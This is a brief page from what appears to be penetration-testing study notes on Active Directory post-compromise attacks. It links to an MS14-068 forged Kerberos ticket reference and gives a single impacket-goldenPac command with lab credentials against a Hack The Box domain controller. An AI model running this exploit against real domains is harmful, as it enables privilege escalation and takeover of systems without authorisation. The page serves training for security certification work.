> For the complete documentation index, see [llms.txt](https://pnpt.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pnpt.adot8.com/active-directory/post-compromise-attacks/knock-and-pass-kerberos.md).

# Knock and Pass Kerberos

{% embed url="<https://www.thehacker.recipes/a-d/movement/kerberos/forged-tickets/ms14-068>" %}

```bash
impacket-goldenPac HTB.LOCAL/james:'Password1'@mantis.htb.local -dc-ip 10.10.10.52
```